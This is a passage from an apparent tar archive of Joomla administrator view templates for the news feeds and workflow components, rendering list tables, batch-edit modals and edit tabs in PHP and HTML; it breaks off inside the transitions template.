            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
            <fieldset id="fieldset-associations" class="options-form">
            <legend><?php echo Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS'); ?></legend>
            <div>
            <?php echo LayoutHelper::render('joomla.edit.associations', $this); ?>
            </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php elseif ($isModal && $assoc) : ?>
            <div class="hidden"><?php echo LayoutHelper::render('joomla.edit.associations', $this); ?></div>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <input type="hidden" name="task" value="">
    <input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
newsfeed/edit_display.php000064400000001135151727402510011533 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->fieldset = 'jbasic';
?>

<fieldset id="fieldset-display" class="options-form">
    <legend><?php echo Text::_('JGLOBAL_FIELDSET_DISPLAY_OPTIONS'); ?></legend>
    <div>
    <?php echo LayoutHelper::render('joomla.edit.fieldset', $this); ?>
    </div>
</fieldset>
newsfeeds/default_batch_footer.php000064400000001452151727402510013411 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-tag-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('newsfeed.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
newsfeeds/modal.php000064400000014632151727402510010346 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core');

$app = Factory::getApplication();

$function  = $app->getInput()->getCmd('function', 'jSelectNewsfeed');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$multilang = Multilanguage::isEnabled();
?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_newsfeeds&view=newsfeeds&layout=modal&tmpl=component&function=' . $function); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table table-sm">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_NEWSFEEDS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($multilang) : ?>
                            <th scope="col" class="w-15 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                            </th>
                        <?php endif; ?>
                        <th scope="col" class="w-1 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                <?php
                $iconStates = [
                    -2 => 'icon-trash',
                    0  => 'icon-unpublish',
                    1  => 'icon-publish',
                    2  => 'icon-archive',
                ];
                ?>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php if ($item->language && $multilang) {
                        $tag = strlen($item->language);
                        if ($tag == 5) {
                            $lang = substr($item->language, 0, 2);
                        } elseif ($tag == 6) {
                            $lang = substr($item->language, 0, 3);
                        } else {
                            $lang = '';
                        }
                    } elseif (!$multilang) {
                        $lang = '';
                    }
                    ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
                            </span>
                        </td>
                        <th scope="row">
                            <a href="javascript:void(0)" onclick="if (window.parent) window.parent.<?php echo $this->escape($function); ?>('<?php echo $item->id; ?>', '<?php echo $this->escape(addslashes($item->name)); ?>', '<?php echo $this->escape($item->catid); ?>', null, '<?php echo $this->escape(RouteHelper::getNewsfeedRoute($item->id, $item->catid, $item->language)); ?>', '<?php echo $this->escape($lang); ?>', null);">
                            <?php echo $this->escape($item->name); ?></a>
                            <div class="small">
                                <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                            </div>
                        </th>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <?php if ($multilang) : ?>
                            <td class="small d-none d-md-table-cell">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                        <?php endif; ?>
                        <td class="d-none d-md-table-cell">
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="boxchecked" value="0">
        <input type="hidden" name="forcedLanguage" value="<?php echo $app->getInput()->get('forcedLanguage', '', 'CMD'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
newsfeeds/emptystate.php000064400000001634151727402510011447 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_NEWSFEEDS',
    'formURL'    => 'index.php?option=com_newsfeeds&view=newsfeeds',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:News_Feeds',
    'icon'       => 'icon-rss newsfeeds',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_newsfeeds') || count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_newsfeeds&task=newsfeed.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
newsfeeds/default.php000064400000030655151727402510010701 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$assoc     = Associations::isEnabled();

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_newsfeeds&task=newsfeeds.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_newsfeeds&view=newsfeeds'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="newsfeedList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_NEWSFEEDS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-5 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="title">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_NEWSFEEDS_NUM_ARTICLES_HEADING', 'numarticles', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_NEWSFEEDS_CACHE_TIME_HEADING', 'a.cache_time', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($assoc) : ?>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_NEWSFEEDS_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
                                </th>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                        <?php foreach ($this->items as $i => $item) :
                            $ordering   = ($listOrder == 'a.ordering');
                            $canCreate  = $user->authorise('core.create', 'com_newsfeeds.category.' . $item->catid);
                            $canEdit    = $user->authorise('core.edit', 'com_newsfeeds.category.' . $item->catid);
                            $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                            $canEditOwn = $user->authorise('core.edit.own', 'com_newsfeeds.category.' . $item->catid) && $item->created_by == $user->id;
                            $canChange  = $user->authorise('core.edit.state', 'com_newsfeeds.category.' . $item->catid) && $canCheckin;
                            ?>
                            <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->catid; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass ?>">
                                        <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder) : ?>
                                        <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php endif; ?>
                                </td>
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'newsfeeds.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                                </td>
                                <th scope="row" class="has-context">
                                    <div>
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'newsfeeds.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit || $canEditOwn) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_newsfeeds&task=newsfeed.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->name); ?>">
                                                <?php echo $this->escape($item->name); ?></a>
                                        <?php else : ?>
                                                <?php echo $this->escape($item->name); ?>
                                        <?php endif; ?>
                                        <div class="small">
                                            <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                        </div>
                                        <div class="small">
                                            <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                        </div>
                                    </div>
                                </th>
                                <td class="small d-none d-md-table-cell">
                                    <?php echo $this->escape($item->access_level); ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->numarticles; ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->cache_time; ?>
                                </td>
                                <?php if ($assoc) : ?>
                                <td class="d-none d-md-table-cell">
                                    <?php if ($item->association) : ?>
                                        <?php echo HTMLHelper::_('newsfeedsadministrator.association', $item->id); ?>
                                    <?php endif; ?>
                                </td>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                    </td>
                                <?php endif; ?>
                                <td class="d-none d-md-table-cell">
                                    <?php echo (int) $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form if user is allowed ?>
                    <?php
                    if (
                        $user->authorise('core.create', 'com_newsfeeds')
                        && $user->authorise('core.edit', 'com_newsfeeds')
                        && $user->authorise('core.edit.state', 'com_newsfeeds')
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title'  => Text::_('COM_NEWSFEEDS_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer'),
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
newsfeeds/default_batch_body.php000064400000002713151727402510013051 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_newsfeeds
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;

$published = (int) $this->state->get('filter.published');
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => 'com_newsfeeds']); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.tag', []); ?>
            </div>
        </div>
    </div>
</div>
stages/default.php000064400000022300151727445300010174 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @since       4.0.0
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$userId    = $user->id;

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrderingUrl = '';

$saveOrder = ($listOrder == 's.ordering');

if ($saveOrder) {
    $saveOrderingUrl = 'index.php?option=com_workflow&task=stages.saveOrderAjax&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->escape($this->extension) . '&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_workflow&view=stages&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->extension); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <?php if (!empty($this->sidebar)) : ?>
            <div id="j-sidebar-container" class="col-md-2">
                <?php echo $this->sidebar; ?>
            </div>
        <?php endif; ?>
        <div class="<?php if (!empty($this->sidebar)) {
            echo 'col-md-10';
                    } else {
                        echo 'col-md-12';
                    } ?>">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->stages)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_WORKFLOW_STAGES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 's.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 's.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo Text::_('COM_WORKFLOW_DEFAULT'); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_NAME', 's.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_ID', 's.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>">
                            <?php foreach ($this->stages as $i => $item) :
                                $edit = Route::_('index.php?option=com_workflow&task=stage.edit&id=' . $item->id . '&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->extension);

                                $canEdit    = $user->authorise('core.edit', $this->extension . '.stage.' . $item->id);
                                $canCheckin = $user->authorise('core.admin', 'com_workflow') || $item->checked_out == $userId || is_null($item->checked_out);
                                $canChange  = $user->authorise('core.edit.state', $this->extension . '.stage.' . $item->id) && $canCheckin;

                                ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', Text::_($item->title)); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php
                                        $iconClass = '';
                                        if (!$canChange) {
                                            $iconClass = ' inactive';
                                        } elseif (!$saveOrder) {
                                            $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                        }
                                        ?>
                                        <span class="sortable-handler<?php echo $iconClass ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
                                            <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                        <?php endif; ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'stages.', $canChange); ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.isdefault', $item->default, $i, 'stages.', $canChange); ?>
                                    </td>
                                    <th scope="row">
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'stages.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit) : ?>
                                            <a href="<?php echo $edit; ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape(Text::_($item->title)); ?>">
                                                <?php echo $this->escape(Text::_($item->title)); ?>
                                            </a>
                                            <div class="small"><?php echo $this->escape(Text::_($item->description)); ?></div>
                                        <?php else : ?>
                                            <?php echo $this->escape(Text::_($item->title)); ?>
                                            <div class="small"><?php echo $this->escape(Text::_($item->description)); ?></div>
                                        <?php endif; ?>
                                    </th>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo (int) $item->id; ?>
                                    </td>
                                </tr>
                            <?php endforeach ?>
                        </tbody>
                    </table>
                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <input type="hidden" name="workflow_id" value="<?php echo (int) $this->workflowID ?>">
                <input type="hidden" name="extension" value="<?php echo $this->extension ?>">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
transitions/default.php000064400000024030151727445300011265 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_workflow
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @since       4.0.0
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user   = Factory::getUser();

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrderingUrl = '';

$saveOrder = ($listOrder == 't.ordering');

if ($saveOrder) {
    $saveOrderingUrl = 'index.php?option=com_workflow&task=transitions.saveOrderAjax&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->escape($this->workflow->extension) . '&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_workflow&view=transitions&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->escape($this->workflow->extension)); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <?php if (!empty($this->sidebar)) : ?>
        <div id="j-sidebar-container" class="col-md-2">
            <?php echo $this->sidebar; ?>
        </div>
        <?php endif; ?>
        <div class="<?php if (!empty($this->sidebar)) {
            echo 'col-md-10';
                    } else {
                        echo 'col-md-12';
                    } ?>">
            <div id="j-main-container" class="j-main-container">
                <?php
                    // Search tools bar
                    echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->transitions)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_WORKFLOW_TRANSITIONS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 't.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 't.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-20">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_NAME', 't.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-20">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_FROM_STAGE', 'from_stage', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-20">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_TO_STAGE', 'to_stage', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-3 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_WORKFLOW_ID', 't.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>">
                            <?php foreach ($this->transitions as $i => $item) :
                                $edit = Route::_('index.php?option=com_workflow&task=transition.edit&id=' . $item->id . '&workflow_id=' . (int) $this->workflowID . '&extension=' . $this->escape($this->workflow->extension));

                                $canEdit    = $user->authorise('core.edit', $this->extension . '.transition.' . $item->id);
                                $canCheckin = $user->authorise('core.admin', 'com_workflow') || $item->checked_out == $user->id || is_null($item->checked_out);
                                $canChange  = $user->authorise('core.edit.state', $this->extension . '.transition.' . $item->id) && $canCheckin;
                                ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', Text::_($item->title)); ?>
                                    </td>
                                    <td class="text-center d-none d-md-table-cell">
                                        <?php
                                        $iconClass = '';
                                        if (!$canChange) {
                                            $iconClass = ' inactive';
                                        } elseif (!$saveOrder) {
                                            $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                        }
                                        ?>
                                        <span class="sortable-handler<?php echo $iconClass ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <?php if ($canChange && $saveOrder) : ?>
